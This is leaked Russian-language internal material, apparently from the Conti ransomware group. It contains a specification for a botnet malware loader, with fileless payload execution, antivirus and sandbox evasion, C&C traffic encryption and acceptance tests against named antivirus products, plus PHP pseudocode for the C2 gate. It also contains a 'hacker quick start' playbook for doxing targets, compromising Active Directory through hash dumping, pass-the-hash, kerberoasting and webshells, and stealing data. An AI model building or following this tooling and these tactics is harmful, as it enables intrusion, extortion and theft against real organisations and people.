Генерация одного и того же идентификатора на одном и том же компьютере, вне зависимости от текущего пользователя и прочих обстоятельств.
Предлагаемый вариант - hardware id (хэш от суммы оборудования). Формат идентификатора не оговаривается.
2.1. Клиент также идентифицирует принадлежность себя к определенной группе (ботнету). Группа нужна для удобства эксплуатации - чтобы логически отделить одних ботов от других.
Группа прошивается в лоадер в момент сборки и в течение времени жизни конкретного экземпляра лоадера не меняется никогда.
2. Разрядности x86/x64. Приоритетная разрядность x64. Запуск нагрузки только той же разрядности, что сам лоадер.
3. Сбор инфы о системе:
- имя хоста
- имя пользователя
- версия и разрядность ОС
- имя и версия АВ
- результат команды net view /all
- результат команды net view /all /domain
- результат команды nltest /domain_trusts /all_trusts
- IP-адрес получать НЕ ОБЯЗАТЕЛЬНО - это может быть сделано средствами бэкенда
4. Без повышения прав
4.1. Работа от непривилегированного пользователя.
5. Без обхода UAC
6. Возможность выполнения простой программы по запуску нагрузки:
6.1. Повторный запуск процесса при вылетах
6.2. Выдерживание циклов и таймаутов (возможность указать, сколько раз перестартуем, интервалы между попытками перезапуска)
Общий смысл этого пункта: не всегда нагрузка запускается с первого раза; бывает, что нагрузка вылетает из-за ошибок; бывает, что одну нагрузку грохает АВ, а другую нет.
Потому у нас всегда есть планы Б и В.
Следует учесть, что админка может отдавать РАЗНЫЕ нагрузки при последовательных запросах на закачку загрузки.
7. Запуск как .exe, так и .dll
8. Запуск нагрузки бесфайловой техникой (process hollowing, dll from memory и другими подобными)
9. Мимикрия нагрузки под легитимный процесс
10. Использование открытых каналов связи для обмена с C&C (HTTPS, DNS, почта итд)
11. Мимикрия сетевой активности под легитимный процесс (странно видеть сетевые запросы от cmd.exe или WerFault.exe, буде вы решите хоститься в них)
12. Шифрование трафика; простая схема распределения ключей. Цель шифрования - защита от машинного анализа, DPI.
Простая достаточно для реализации и генерации ключей, и сложная достаточно, чтобы нельзя было скачать нагрузку в броузере или прикрутить нужный диссектор в DPI.
13. Защита от машинного анализа (обфускация строк, системных вызовов; разбавление низкой энтропии шумом итд).
Тут речь идет про защиту от анализа как человеком, так и АВ:
13.1. Усложняем работу по раскрытию алгоритмов работы
13.2. Сбиваем с толку эмулятор АВ
13.3. Защита от ханипотов и продвинутых песочниц допустима, только если вы предоставляете доказательства её эффективности.
Как правило тут идет речь о получении характерных для песочниц ID устройств, hostname, виртуальной машины итд.
Однако по отдельности эти факторы могут ничего не значить и давать ложно-позитивные сработки, тем самым просаживая трафик.
14. Наличие билдера необязательно, если вы готовы к постоянному сотрудничеству впоследствии. Но вообще мы хотим исходники.
15. ОС - Windows Server 2008 R2+, Windows Vista+ - не ниже данных версий, включая все современные десктопные и серверные винды.
Если вы сделаете совместимость с Windows Server 2008 (без R2, то есть фактически это XP), это будет очень круто.
16. Компиляция в нативный код, либо (в случае скриптовых языков или .Net) лоадер должен выполняться на голой ОС.
Не должно быть зависимостей. Если они крайне необходимы ради крутой идеи (например, вы решили выполняться в виртуальной машине и для этого поставить VMWare Player), то они зашиты в ЕДИНЫЙ файл.
PowerShell - не выше 2.0.
Допускаются любые связки cscript, jscript, .bat, при условии компоновки в единый файл.
Другими словами, это должен быть один файл, и он должен работать на любых виндах без расчета на то, что у нас тут стоит .Net или Microsoft Visual C++ Redistributable нужной версии.
17. Совместимость с криптами (для нативного кода):
17.1. Сборка самого лоадера как в .exe, так и в .dll
17.2. Умеренный размер (скажем, до 1М)
17.3. Минимизация CRT/STL (не все крипты переваривают).
ПРИЕМОЧНЫЙ ТЕСТ
Приемка производится исходя из отсутствия у разработчика полной интеграции с админкой, для возможности гаранта самостоятельно оценить работу.
Соответственно, разработчик делает демо для гаранта на своих ресурсах (VPS, виртуалках итд).
0. На тест предоставляются 1 (один) файл лоадера и файл(ы) шлюза админки + нужные для него заглушки (см.ниже), которые использованы разработчиком для внутренних тестов.
Если файл компилируется в нативный .exe, дополнительно должна предоставляться .dll - для демонстрации наличия профиля сборки в .dll.
В таком случае .dll запускается через rundll и также тестируется.
Исходники на этом этапе не нужны, может быть какая угодно обфускация/криптование.
Шлюз админки разворачивается на сервере заказчика. Настройка производится совместно заказчиком и разработчиком.
Демо производится также на арендованном заказчиком VPS. Учтите, что слово V в VPS - значит virtual (виртуальная машина).
1. Статика на dyncheck.com должна быть чистой.
2. Не более 4 детектов по поведению на момент приемки на dyncheck.com.
Настройки dyncheck: 240 секунд теста, полный доступ к интернету.
2.1. Отсутствие среди динамических детектов
- Windows Defender
- ESET Nod32
- Avast Home
- Kaspersky Antivirus
- Bitdefender
3. В качестве нагрузки должны проверяться поочередно несколько файлов:
3.1. putty.exe
3.2. notepad.exe
3.3. DbgView.exe https://docs.microsoft.com/en-us/sysinternals/downloads/debugview
Дополнительно заказчик предложит несколько других файлов не из паблика. Это будут простейшие заглушки типа MessageBox("hello, world!"), статически скомпонованные,
без зависимостей. Возможно, с минимальным использованием WinApi (функции GDI). Цель этого - продемонстрировать, что лоадер способен работать с произвольной нагрузкой.
Данные файлы размешаются на веб-сервере заказчика.
4. Тест производится поочередно на двух компьютерах с включенными АВ (Windows Defender, ESET Nod32) и произвольной версией Windows из требований.
Антивирусные базы обновлены, облачная защита выключена, отправка образцов выключена.
Тестируются поочередно все предоставленные нагрузки.
5. Лоадер в виде "как есть" (без упаковки в архив; если это .exe - то значит .exe и качаем) скачивается с файлообменника qaz.im (или другого оговоренного) в броузере Chrome последней на момент версии.
Не должно быть предупреждений о вирусе ни от броузера, ни от антивируса.
6. Лоадер запускается. Если не будет возможности подписать файл лоадера EV-сертификатом для запуска прямо из Chrome, то вопли Chrome о недоверии к файлу игнорируются, файл запускается руками из Проводника.
7. Лоадер должен скачать и запустить нагрузку. Факт скачивания мониторится на веб-сервере.
Нагрузка должна проработать на компьютере минимум час и не быть снесена броузером/АВ.
Тесты поочередно проводятся для каждой представленной нагрузки, с пересборкой лоадера если необходимо.
Мы понимаем, что современные АВ очень умные, последовательными тестами мы только помогаем им обучаться, и на каком-то этапе может появиться детект там где его не было.
И все же, этим мы имитируем реальную работу, а вы демонстрируете живучесть решения.
При необходимости мы можем сменить у VPS адрес и hardware id, чтобы снять ассоциации у АВ с конкретным демо-стендом.
ШЛЮЗ К АДМИНКЕ
Админка уже есть.
Админка предоставляет интерфейс на PHP для подключения к ней.
Объект админки называется $adm и является глобалом.
Сам шлюз должен быть оформлен в виде класса на PHP с определенным набором публичных методов (т.е. проэкспортировать свой интерфейс для админки).
Шлюз идентифицируется в админке по имени.
В случае использования отличных от HTTP протоколов для общения с лоадером, шлюз будет напрямую на нашу HTTP-прокладку, протокол для неё запрашивается и предоставляется отдельно.
Это более сложный случай, мы поможем с такой интеграцией.
В случае протокола поверх HTTP, способ интеграции с админкой описан ниже.
ИНТЕРФЕЙС БЭКЕНДА
1. Регистрация настройки
$adm->register_property($plugin_name, $prop_name, $length) зарегистрировать настройку для данного шлюза в админке
$plugin_name: строка с идентификатором шлюза
$prop_name: строка с идентификатором свойства
$length: максимальная длина поля
TODO: возможно в будущем добавятся также тип поля и параметры отображения в админке (тип виджета).
Настройка хранится в двоичном виде в БД (это значит, что вам не нужно ее как-либо экранировать при сохранении).
Возвращает true в случае успеха, false в случае ошибки.
Свойство появляется в диалоге настройки группы (ботнета) в админке. То есть настройка меняется в разрезе группы.
Например, в своей реализации протокола вы решили использовать разные имена HTTP-заголовков, URI-префиксов и прочих свойств HTTP-запроса, для разных групп.
В таком случае вы регистрируете нужные настройки, в обработчике запроса получаете их значения для той группы, к которой принадлежит клиент.
Дальнейший разбор запроса происходит с учетом этих данных.
Настройками могут быть ключи шифрования, номера портов, какие-либо адреса итд - все что вам понадобится для организации собственного протокола.
2. Получить настройку
$adm->get_property($plugin_name, $prop_name, $group = null) получить свойство (настройку) с указанным именем; опционально указывается группа
$plugin_name: строка с идентификатором шлюза
$prop_name: строка с идентификатором свойства
$group: идентификатор группы (ботнета), опционально. Если не указано, вернется значение настройки по умолчанию без разреза группы.
Возвращает значение настройки.
3. Получить список ботнетов
$adm->get_groups($plugin_name) получить массив со списком групп, доступных для данного плагина
$plugin_name: строка с идентификатором шлюза
Возвращает словарь словарей:
"имя группы" => "словарь" {
"имя настройки1" => "значение настройки1"
...
"имя настройкиN" => "значение настройкиN"
}
3. Получить нагрузку
$adm->get_payload($bitness, $group) получить нагрузку из заданной группы с указанной разрядностью
$bitness: принимает два возможных значения 86 и 64 (int)
$group: идентификатор группы
Возвращает нагрузку, которую следует отдать лоадеру
4. Регистрация отстука
$adm->knock($group, $id = null) регистрация отстука с заданного адреса
$group: идентификатор группы
$id: идентификатор компьютера (опционально)
Ничего не возвращает.
5. Регистрация информации и системе
$adm->put_sysinfo($group, $info, $id = null) информация о компьютере
$group: идентификатор группы
$id: идентификатор компьютера (опционально)
$info: словарь с информацией о системе.
Поля у словаря следующие:
hostname: имя хоста
uname: имя пользователя
os: название ОС
os_bitness: разрядность ОС
os_version: версия ОС
av: имя и версия АВ
net: результат команды net view /all
netdomain: результат команды net view /all /domain
trust: результат команды nltest /domain_trusts /all_trusts
Словарь расширяемый, если хотите передать еще что-нибудь полезное.
Функция ничего не возвращает.
6. Отправить телеметрию
$adm->put_telemetry($group, $data, $id = null) телеметрия с отстука
$group: идентификатор группы
$id: идентификатор компьютера (опционально)
$data: произвольное сообщение от лоадера
Примечание
Смысл телеметрии - удаленная отладка, и сведения о работе лоадера.
Неплохо было бы узнать:
- о том что лоадер скачал нагрузку
- о том что он её запустил
- о произошедших ошибках (например, процесс нагрузки быстро помер)
- о повторных попытках запуска нагрузки
- о других событиях
ОБРАБОТКА ОШИБОК
Если вызывающий контекст обнаруживает какую-либо ошибку при работе через API, и если эта ошибка особо не оговорена, обработка прерывается.
Либо молча (в боевых условиях), либо попытается вам сказать почему (если включен error_reporting).
ИНТЕРФЕЙС ШЛЮЗА
Шлюз - это класс на PHP, без зависимостей в виде фреймворков.
Шлюз будет выполняться в контексте некоего фреймворка, но на это не следует рассчитывать.
Шлюз экспортирует две публичные функции:
1. Инсталляция в систему
$gate->install()
Тут происходит регистрация настроек, нужных шлюзу.
2. Обработка запроса
$gate->process_request($HTTP_request)
Обрабатывает входящий запрос и формирует ответ.
$HTTP_request: входящий запрос со всеми заголовками
Возвращает словарь:
code => HTTP-код ответа (число или строка)
response_headers => HTTP-заголовки сформированного ответа. Если ответ не 200, могут быть пустыми.
response_body => HTTP-тело сформированного ответа. Если ответ не 200, может быть пустыми.
Если ответ 400 - это значит что шлюз не опознал запрос как валидный.
Если ответ 404 - это значит что шлюз в целом опознал запрос как валидный, но не смог сопоставить его с группой.
Если ответ 200 - это значит что ответ полностью обработан, и дальнейшая обработка не требуется.
Любые другие коды ответа трактуются как ошибка обработки; на этом обработка ответа для данного шлюза завершена.
PHP
Версия PHP - не ниже 7.0.
Можно рассчитывать на все распространенные плагины.
Если нужно что-либо кастомное - включим или соберем.
ПРИМЕР РЕАЛИЗАЦИИ ШЛЮЗА (PHP-ПОДОБНЫЙ ПСЕВДОКОД)
require_once "adm_api.php";
// отсюда взяли объект $adm
class sample_gate {
string $plugin_name = "Plagin Vasi";
// функция регистрации плагина в системе
// эта функция экспортируется из класса (публичная)
function install() {
// регаем настройку (поле) с таким-то именем и такой-то длиной
// Например, хотим накрыть нагрузку шифром, дабы лоадер ее расшифровал на том конце
$adm->register_property($plugin_name, "RSA_public_key", 4096);
}
// обработка одного запроса, сюда передается целиком HTTP-запрос
// эта функция экспортируется из класса (публичная)
// в ответ получаем массив с HTTP-кодом, заголовками и телом ответа
function process_request(string $request) {
// хочу от админки список доступных Васе групп, с их префиксами и всей херней
array $groups = $adm->get_groups_list();
// разобрал запрос на части, сделал предварительную валидацию
if(not valid request)
return array("code=>"400"); // bad request; после этого вызывающий контекст может продолжить поиск подходящего плагина для этого запроса
foreach($g => $groups) {
if(request matches this group) {
$adm->knock($REMOTE_ADDR);
if(request is telemetry)
$adm->put_telemetry($g, $message_from_request);
else if(this is sysinfo) {
$info = get_sysinfo_from_request();
$adm->put_sysinfo($g, $info);
}
else if(request for payload) {
$bitness = figure out bitness from the request;
$payload = $adm->get_payload($bitness, $g);
$encryption_key = $adm->get_property($plugin_name, "RSA_public_key");
$HTTP_body = encrypt_payload($payload, $encryption_key);
$HTTP_headers = arrange_headers_somehow();
}
return array("code=>"200", "response_headers" => ...);
}
}
return array("code=>"404");
}
// дальше идут приватные функции класса, о которых админка знать не хочет
function encrypt_payload() {}
function arrange_headers_somehow() {}
//etc
}

1380
Conti Documentation Leak/docs/быстрый старт исследователя.txt
File diff suppressed because it is too large
View File

368
Conti Documentation Leak/docs/быстрый старт хакера.txt

@ -0,0 +1,368 @@
ПРЕДИСЛОВИЕ
Назначение документа - дать быстрое погружение в процесс взлома компьютеров и сетей;
аудитория - не имеющие такого опыта ИТ-специалисты, с опытом системного программирования и администрирования.
ЛАНДШАФТЫ СЕТЕЙ
Любую (почти) современную сеть можно взломать.
Это обусловлено:
- избыточностью сетей: наличие множества сервисов, разных точек входа в одну и ту же сеть;
- приоритетом удобства над безопасностью: тюрьма безопасна, но в ней очень трудно что-то делать;
- человеческим фактором: ошибки конфигурации, социальная инженерия.
Второй пункт усиливается ощутимой реакцией прибыли на малейшие замедления оборачиваемости в коммерческом секторе,
так что без перехода на военные рельсы сети капитализма всегда будут дырявые)
https://habr.com/ru/company/selectel/blog/576482/
Если в найденных точках входа нет *известных* уязвимостей, это значит лишь, что
- нужно искать другие точки входа;
- нужно искать уязвимости самому (если уж очень нужно попасть в сеть);
- нужно искать человека;
- нужно искать другую цель с той же информацией.
Хорошо защищают сети те организации, которым государство выставляет требования по защите.
Это необязательно военные сети или режимные учреждения: если вы храните у себя ФИО и личные данные клиентов,
то вы обязаны провести мероприятия по их защите. Защита же коммерческой тайны - "ваши" проблемы.
Ценность цели часто обратно пропорциональна её защите.
В военных сетях могут оказаться списки кальсонов за 196х год (что полезно для военных аналитиков),
а в слабо защищенной коммерческой сети, или на личном ноутбуке, могут быть важнейшие фарм/ИТ/инженерные разработки.
Но это не всегда так.
Есть суперкрепости внутри плохо защищенных сетей, взять которые может либо разносторонняя команда, либо хакер экстра-класса.
Такие сценарии обычны в Standoff'ах (Hack The Box etc) для белых шляп.
Если вы не хакер экстра-класса, используйте смекалку (уроните сервер и словите в сети/закейлогьте пароль, отдайте задачу на аутсорс, итд)
ТЕХНИКА, ТАКТИКА И СТРАТЕГИЯ
- стратегия: зачем нам нужен взлом? что искать, какие цели выбрать? *
- тактика: порядок действий вне и внутри сети, ведущий нас к достижению цели;
- техника: -скандалы-интриги-расследования- инструменты, уязвимости, исследования.
(*очень неполная иллюстрация https://habr.com/ru/company/cloud4y/blog/551376/ ориентация на мелкую коммерцию)
Все три уровня в умелых руках - от выбора цели, разведки, реализации и тестирования эксплойтов, к накрытию цели и призу:
https://gist.github.com/jaredsburrows/9e121d2e5f1147ab12a696cf548b90b0
РАЗВЕДКА И ВЫБОР ЦЕЛИ
Если нету цели войти в какую-то конкретную сеть, и у вас есть эксплойт - используется сканирование Сети
(всего интернета или интересных диапазонов) в поисках уязвимых сервисов.
Если некогда, поможет известный сервис shodan.io, но лучше чтобы был свой сканер.
При точечной атаке (конкретный объект) требуется разведка.
Можно начинать с анализа доменной зоны компании и ее публичных сервисов.
У крупных корпораций с огромными сетями обычно есть свои автономные системы (AS, Autonomous System), с известным диапазоном сетей.
Картировать минимум часть внешних сервисов можно используя WHOIS (https://hackertarget.com/whois-lookup/) и DNS (https://habr.com/ru/post/554458/),
а также стремление сетевых администраторов к поддержанию иерархичности в описании доменных зон.
Есть поисковики-разведчики наподобие https://www.zoominfo.com с общей и подробной информацией о компаниях.
Далее ищется слабое звено (см.ниже).
Социнженерия требует знаний о персоналиях.
Важно все: номера телефонов, место жительства, имя собаки, родной город, любимый цвет, любимая группа, хобби.
Особая важность: личная сеть контактов вашего кандидата, в особенности бизнес-контакты.
Структура организаций отражает структуру общества.
Передвигаясь от одного человека к другому по сети контактов, вы можете менять точку входа внутри одной сети, либо открывать новые сети.
Для сбора информации используются как средства разведки OSINT,
так и найденная в ранее открытых сетях информация о контактах (адресные книги Outlook, переписка, итд).
Разведка для соц.инженерии называется доксинг: https://securelist.ru/corporate-doxing/101055/
Далее эти данные используются либо с помощью фишинговых писем, либо с помощью звонков.
В обоих случаях нагрузку запускает человек.
Набор инструментов OSINT
* Поисковики широкого спектра
https://github.com/laramies/theHarvester - сбор email-адресов, субдоменов, виртуальных хостов, открытых портов/баннеров, имён сотрудников из открытых источников.
https://github.com/Bafomet666/OSINT-SAN OSINT-SAN - комбайн широкого профиля
https://mor-pah.net/software/dmitry-deepmagic-information-gathering-tool/ - Dmitry - аналог предыдущего инструмента
https://github.com/0xInfection/TIDoS-Framework - универсальный фреймворк с возможностью анализа сетей (DNS, whois, emails)
https://github.com/smicallef/spiderfoot
https://osintframework.com/ - рубрикатор инструментов OSINT, общий поиск по соц. сетям, большой набор разных инструментов для поиска:
https://hunter.io/ - сбор инфо о email по имени домена
https://hackertarget.com/
* Поисковики по компаниям
https://www.zoominfo.com - поисковик данных о компаниях
https://opencorpdata.com/ - Open corporate business database
https://domainbigdata.com/ - big database of domains and whois records
https://opencorporates.com/ - largest open database of companies in the world
https://www.sec.gov/edgar/searchedgar/cik.htm - EDGAR Company Filings | Central Index Key Lookup
http://www.orsr.sk/search_osoba.asp?lan=en - Business register | Ministry of Justice of the Slovak Republic
Больше инструментов в статье https://habr.com/ru/company/pentestit/blog/554006/
* Поиск по USERNAME/NICKNAME:
https://namechk.com/
https://github.com/snooppr/snoop
* Поиск по EMAIL:
https://haveibeenpwned.com/
https://hacked-emails.com/
https://ghostproject.fr/
https://weleakinfo.com/
https://pipl.com/
https://leakedsource.ru/
http://mailtester.com/ - E-mail address verification
Приложение "Skype"
* Поиск по номеру телефона:
https://phonenumber.to
https://pipl.com/
Приложение "GetContact"
Приложение "NumBuster"
Приложение "Truecaller" или сайт https://www.truecaller.com/
http://doska-org.ru/
Приложение "Skype"
* Картирование сетей
https://www.shodan.io/
https://spyse.com/
https://crt.sh/ - поиск субдоменов
https://archive.org/web/ - поиск в прошлом (просмотр сайтов на определенную дату)
https://viewdns.info/ - data about a given website or IP address
https://github.com/Fadavvi/Sub-Drill Simple script for finding subdomains based on [free] online services without any dependency to API-keys
https://builtwith.com/ - на чем сделан сайт
* Поиск местоположения базовой станции сотового оператора:
http://unwiredlabs.com
http://xinit.ru/bs/
* Поиск по соцсетям, несортированое
http://sanstv.ru/photomap - Получение фотографий из соц. сетей из локального района (по геометкам):
https://foller.me/ - Twitter Analytics
https://followerwonk.com/ - social analytics mega-tool that digs through Twitter data
https://tinfoleak.com/ - Search for Twitter users leaks
https://twicsy.com/ - Twicsy is social pics
https://www.spokeo.com/- iskat infu po USA.
https://github.com/jivoi/awesome-osint
* Литература
https://anonfiles.com/X0md34ycu1/Operator_Handbook_Red_Team_OSINT_Blue_Team_Reference_pdf
Bellingcat’s Online Investigation Toolkit - https://docs.google.com/document/d/1BfLPJpRtyq4RFtHJoNpvWQjmGnyVkfE2HYoICKOGguA/edit
* MITM/фишинговые сканеры (требуют взаимодействия с целью):
https://beefproject.com/
https://github.com/beefproject/beef BeeF для сбора информации о броузерах и их эксплуатации,
получения информации о сессиях в соцсетях, наличии TOR, посещения интересных сайтов итд.
https://github.com/kgretzky/evilginx2 - для перехват сессий и обход 2ФА на сайтах
В дальнейшем рассматриваем сети Windows.
Преимущество их эксплуатации в меньших усилиях по сравнению с эксплуатацией сетей Linux.
Проще открыть Windows-сегмент сети, и получить пароли/ключи админов для Linux-сегмента.
Обратное перемещение (Linux->Windows) значительно сложнее попросту из-за отсутствия необходимых инструментов в Linux.
ВЫБОР ТОЧКИ И СПОСОБА ВХОДА
Любой публично доступный сетевой сервис (открытый IP-адрес:порт) - это потенциальная точка входа.
Если пробиться не удается - значит в нем нет *известной* уязвимости.
Есть статистика, по которой определенные векторы более часты:
- узкопрофильное железо (принтеры, роутеры, умные файрволлы (роутероподобные железки с ф-ей файрволла));
- популярные веб-приложения (wordpress, другие cms-системы, итд);
- входы с ботнетов.
Прошивки узкопрофильного железа не обновляются - это само по себе опасный процесс;
производители игнорируют поддержку железа старше Н лет (да и свежего тоже).
Вдобавок железо, как и веб-приложения, не воспринимаются всерьез в контексте безопасности.
В остальных случаях в ход идет социальная инженерия (письмо или звонок).
ЗАЩИТА СЕТЕЙ
Эффективный способ обнаружения вторжения - обнаружение аномалий трафика.
Регистрируем легитимный трафик, запоминаем примерную картину (протоколы, частоту обмена, вес пакетов, абонентов сети итд).
Находим и изучаем источники странного трафика.
https://habr.com/ru/company/dsol/blog/541832/
https://habr.com/ru/company/otus/blog/541582/
Suricata https://suricata-ids.org/
Пример ручного анализа: https://malware-traffic-analysis.net/
Библиотека PyWhat для автоматического парсинга трафика
https://habr.com/ru/company/dcmiran/news/t/563206/
https://github.com/bee-san/pyWhat
Трафик логируется, через отводы в сети, для целей форенсики, юридических доказательств, разборов инцидентов.
По разным данным, SSL/TLS-трафик не может быть расшифрован/может быть расшифрован благодаря проксированию с использованием MITM-сертификата в корп.сети.
(файрволлы Palo Alto точно имеют опцию расшифровки SSL).
В первом случае используется машинное обучение для поиска аномалий: https://github.com/WalterDiong/TLS-Malware-Detection-with-Machine-Learning
(длины нагрузок, частотное распределение и используемые протоколы/порты, частота обмена, ... - рандомизируйте все это)
Во втором случае, для обнаружения MITM можно использовать SSL cert pinning в реализации сетевой подсистемы бота.
Технические средства мониторинга ИБ сети: https://habr.com/ru/post/549050/
Дубовая, но эффективная защита - работа по белому списку.
Вот список разрешенных сайтов, а черт, тебе не нужно по работе ходить на сайты, извини, никакого веба.
Мессенджеры тоже не нужны, вот тебе корпоративная почта.
Вот список белых приложений, которые могут быть запущены на компьютере; все остальное блокируется.
ИНСТРУМЕНТЫ
Основным хакерским инструментарием являются фреймворки.
Можно без них, но они дают автоматизацию:
1. Metasploit Framework (MSF) (+armitage GUI) - самая большая подборка сплойтов и модулей
2. Core Impact (+impacket python) - наиболее удобные для пентеста фичи (из минусов - только Windows)
3. Powershell Empire - pure powershell фреймворк со всеми вытекающими
4. Posh2c
5. Koadik - эти двое являются экзотикой, т.е. у них менее детектируемый трафик
6. Cobalt Strike - расширяемость
https://www.cobaltstrike.com/downloads/csmanual43.pdf
7. Burp Suite - ориентирован на веб, очень популярен
8. Pupy - RAT (Remote Administration Tool) на Питоне, труден для АВ вследствие того что это и не привычный АВ native код, и не "родной" для Windows (и AMSI) скриптовый язык
https://github.com/n1nj4sec/pupy
https://ptestmethod.readthedocs.io/en/latest/pupy.html
и к нему в комплект инжектор https://github.com/infodox/python-dll-injection
БОльшую часть основных действий можно делать из обычного cmd shell'а штатными средствами ОС.
Фреймворк - это:
- сплойты;
- сканеры к ним;
- поиск мисконфигураций;
- фаззеры;
- снифферы;
- сценарии задач.
Примерный состав фреймворка https://www.offensive-security.com/metasploit-unleashed/modules-and-locations/
Сканеры сетей
Enum4linux https://github.com/CiscoCXSecurity/enum4linux (ресурсы сети Windows/Samba)
Стилеры, дамперы паролей, брут-форс паролей
Обзор Mimikatz https://habr.com/ru/company/varonis/blog/539340/
Patator https://github.com/lanjelot/patator (password brute forcer)
Сканеры SQL-инъекций и Web-уязвимостей
https://habr.com/ru/post/542190/
SQLMap http://sqlmap.org/
jSQL-Injection https://github.com/ron190/jsql-injection
https://github.com/commixproject/commix сканер command injection, статья https://habr.com/ru/post/550252/
Wapiti https://wapiti.sourceforge.io/ (web scanner/fuzzer)
OWASP ZAP https://www.zaproxy.org/ (web scanner/fuzzer/MITM proxy)
Общим минусом всех публично доступных инструментов является их известность для АВ.
Приходится прилагать нешуточные усилия по их чистке, либо обзаводиться своим приватным набором чистых инструментов.
ТАКТИКА АТАКИ
Первичная цель большинства атак - Active Directory Domain Controller или Domain Controller сети Windows.
Доступ к этим узлам дает как минимум широкие вектора для перемещения по сети, как максимум полный контроль над сетью.
Active Directory более удобен для эксплуатации, т.к. есть типовые мисконфигурации, уязвимости самого сервиса, общие ресурсы,
делающие работу и сотрудников, и хакеров комфортной.
Контроль над Domain Controller сети Windows дает как минимум:
- логи авторизаций внутри домена различных пользователей на рабочих станциях домена
- NTLM-хеши паролей всех пользователей домена, которые даже необязательно брутить (сервис cmd5.org).
Хеши брутятся легко и быстро т.к. несоленые.
- почти всегда контроллер домена держит на себе DNS-сервер со всеми записями.
То есть доступ к DC (как AD так и Windows) дает сразу кучу инфы также и за счет присутствия сразу всех сервисов на DC - LDAP, Kerberos, DNS.
LDAP позволяет "общаться" внутри AD, получить доступ ко всем сервисам прикрученным к авторизации Active Directory.
https://www.varonis.com/blog/the-difference-between-active-directory-and-ldap/
Закрепляться на DC не стоит, т.к. эти узлы важны и плотно мониторятся.
Для закрепления предпочтительны серверные машины, которые держат какие-нибудь сервисы стучащие наружу,
то есть которым разрешен исходящий трафик.
Идеальный бэкдор - это всегда легитимный доступ - стучащие наружу сервисы наподобие VPN/thin client/RDWeb/RDP итп,
под которые можно замаскировать свой трафик. Ищем любые подходящие под это креды и компьютеры в сети.
Следующим приоритетом может быть проброс трафика через прикладное/бизнес ПО (Outlook, IIS/PHP webshell, итд).
Далее - протоколы DNS/TCP/HTTPS, с использованием для закрепления используются стандартных средств Windows
(очевидный минус в том что использование стандартных средств ОС для закрепления плотно мониторится).
В сетях ИТ-компаний как правило есть собственные фермы виртуальных машин.
Одним из средств избежать обнаружения может быть использование собственной чистой виртуальной машины (без АВ, EDR) с доступом в сеть.
Вторичной целью является любой узел в DMZ ("видящем" Интернет сегменте сети).
Следующим по удобству - любая машина, с которой видна DMZ.
Один пароль на все, и присутствие пользователя на множестве узлов - наиглавнейшая помощь хакеру.
Развитие атаки итеративно и предполагает использование на каждой следующей стадии данных, добытых на предыдущих стадиях:
1. просканировал, подампил, сбрутил
2. попробовал добытые креды на следующем/предыдущем узле; расширил присутствие
3. goto 1
При наличии shell'а с доменной машины, примерный сценарий развития атаки:
1. наша первая цель в захвате AD-леса - это поиск хешей пароля доменного администратора;
любой хеш ДА означает полную компрометацию домена и всех его пользователей.
NTLM хеши позволяют двигаться по сети без знания пароля, так что брутить их не обязательно.
2. опрашиваем состав домена (утилитой adfind.exe, net /view /all /domain итд);
3. анализируем данные: в комментариях бывают пароли пользователей/сервисных учеток/даже самих доменных администраторов, помимо информации о структуре сети);
4. в рамках локальной машины проверяем можем ли повысить права до СИСТЕМЫ.
Дальше ветка - смогли/не смогли.
СИСТЕМА позволяет
5. отравлять ARP-кеш и притвориться другим узлом, чтобы перехватить его трафик и его пароли (их хеши);
6. дампить хеши (ntdsutil, mimikatz) на локальном узле.
Все использованные хеши используются для развития атаки (один пароль на всё!)
Если СИСТЕМУ получить не удалось:
7. проходим по текущей машине стилером и ищем доступы внутри сети
8. проверяем все видимые доменные машины на RCE (уязвимости удаленного исполнения кода)
9. проверяем, имеет ли текущий пользователь администраторские права на какой-то из машин домена: смотрим в каких он группах состоит,
эмпирически предсказываем, дальше по SMB проверяем видит ли он $ADMIN шару где-то;
если видит - прыгаем туда и получаем там СИСТЕМУ.
10. проводим kerberoast атаку для получения керберос-хешей для дальнейшего брута;
11. если сеть маленькая - можем нежно побрутить пользователей, предварительно проверив lockout threshold (чтобы не заблокировать их брутом);
12. если видим доступный для записи каталог inetpub - пишем туда нагрузку aspx и исполняем, обращаясь к ней через веб;
13. сканируем все подсети на доступные сетевые устройства и проверяем имеющиеся у нас креды.
Хаки AD: https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet
Матрица MITRE Для Windows
https://attack.mitre.org/matrices/enterprise/windows/
Работа с паролями AD: https://habr.com/ru/post/543806/
MITRE
Это систематизированная база данных хакерских техник, дающая различные разрезы и аспекты тактик.
Официальная цель - усилить защиту, помочь ИБ-отделам и специалистам.
Абсолютно все (нет) хаки классифицируются и попадают сюда.
Неполно и на русском Adversarial Tactics, Techniques & Common Knowledge (ATT@CK):
https://habr.com/post/423405/
https://habr.com/post/424027/
https://habr.com/post/425177/
https://habr.com/post/428602/
https://habr.com/post/432624/
Если вы в тупике, поищите здесь нестандартные (неизвестные вам лично) приемы и хаки.
ЦЕЛЬ - ИНФОРМАЦИЯ
То, ради чего все затевается.
1. Почта, переписка, контакты, адресные книги, списки контрагентов
2. Базы данных
3. Исходные тексты программ
4. Документы
5. Бухгалтерия
6. Конструкторская документация
7. Пароли к другим сетям
8. Электронные кошельки
TODO
какие файлы искать (расширения)
TODO как ее выкачивают?
АНАЛИТИКА, АТТРИБУЦИЯ, ПОЧЕРК
Анализ открытых источников о вашей деятельности важен: вы узнаете ту часть трюков, которую уже раскрыли, а следовательно они стали неэффективными.
Однако вы не знаете ту часть трюков, которая не раскрыта. Ради этого противник может запускать дезинформацию, утаивать и обманывать.
Рано или поздно любой хакер читает разборы своих художеств в ИБ-статьях.
И с удивлением обнаруживает, что важная информация упущена, а незначительная выпячена.
Делается это по нескольким причинам:
- истинные отчеты об инцидентах - информация с грифом
- никто не даст действующие рецепты в паблик
- большая часть статей - реклама "купите наше ИБ-решение", мешающие факты игнорируются, незначительные гипертрофируются
- не боги горшки обжигают - аналитики действительно могут упустить важные детали
- они все знают, но не подают вида - чтобы использовать это против вас
- вместе с истинными фактами можно скормить вам же дезу.
Будьте внимательны, у каждой APT-группы свой известный безопасникам почерк - любимые тактики входа, закрепления, перемещения,
YARA-профили инструментов.
Взгляд со стороны IB: https://habr.com/ru/company/group-ib/blog/545104/

59
Conti Documentation Leak/docs/дух старой школы.txt

@ -0,0 +1,59 @@
СВОЯ АТМОСФЕРА
Наша работа в высшей степени сложна. Редко кто даст тебе готовый рецепт, в лучшем случае подскажут направление поиска.
